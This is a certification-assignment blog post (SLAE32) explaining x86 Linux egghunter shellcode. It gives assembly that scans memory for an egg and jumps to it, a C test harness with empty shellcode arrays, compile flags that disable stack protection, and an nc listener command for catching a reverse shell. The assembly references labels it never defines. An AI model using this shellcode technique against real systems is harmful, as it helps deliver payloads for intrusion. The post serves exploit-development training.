SLAE32 Assignment 3 - X86 Linux Egghunter

2 minute read

SLAE32 Assignment #3

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-1372

This is the third of seven assignments in order to complete the SLAE (32bit) certification. The topic covered on this Assignment will be egghunters. During my study every source of information were referring the Skape’s article Safely Searching Process Virtual Address Space. This article is really good. All aspects of egghunters are covered, including the code used to do it.

What is an Egghunter?!?

Egghunter is no more than a small piece of shellcode which objective is to find in memory a bigger piece of shellcode and jump to it to execute it. The main reason behind the usage of egghunters is that in certain situations we just have a small buffer size which can’t allocates fully functional shellcode but we can to load the shellcode somewhere in the memory.


On Skape’s paper are presented three different implementations of egghunters. All of them can safely transverse the process Virtual Address Space (VAS). While we are searching for the egg and we land in an invalid memory address it will return EFAULT error code. Handling correctly this error is what allow us to search for the egg in a crash-free way.

Below code implements a egghunter, it’s a mixing of both Skape’s implementation with some “improvements”. It doesn’t needs to run two times the string scan because the egg isn’t coded directly but the egg value+1.

global _start
section .text
xor ecx, ecx					;ecx = 0
mul ecx						;eax = 0, edx=0
xor ebx, ebx					;ebx = 0
or dx, 0xfff					;Page alignemt operation
inc edx
lea ebx, [edx+4]
push byte 0x21					; 0x21 (33) into the stack
pop eax						; syscall 33 (access)
int 0x80					; syscall
cmp al, 0xf2					; check if the access violation (EFAULT) occurs.
jz next_page					; if EFAULT it will try next page
mov eax, dword 0x90509051			;EGG+1 loaded into eax
dec eax						; decrement to avoid the egghunter find this piece of code with this we reduce the use of one more time the scasd
mov edi, edx
scasd						; compare dword stored in edi with the egg
jnz next_add					; if not equals try next address
jmp edi						; found the egg jumps into code! \m/.\m/

Basically all memory is going to be searched, when it finds a valid address compares with 0x90509050. The instruction used to compare was the scasd. The scasd instruction will take the value in EAX (egg) and compare with edi. In each iteration of scasd it will increase by 4 the value of edi, what means that when we found the egg we can just make a jmp edi and we will be jumping into the shellcode.

To test our egghunter code was used the the Assignment 2 reverse shell. Below there is the test code.


unsigned char egg[] = \

unsigned char egghunter[] = \

void main(){
	printf("EGGHunter Length:\t%d\n",strlen(egghunter));
	printf("Shellcode Length:\t%d\n",strlen(egg)-4);

After compiled with flags -fno-stack-protector -z execstack we are ready to open a listener on port 1337 with nc -nlvp 1337 and execute our test code.


In order to change the payload it is just needed to change the code under the payload comment in the code above.

All the code can be found in my github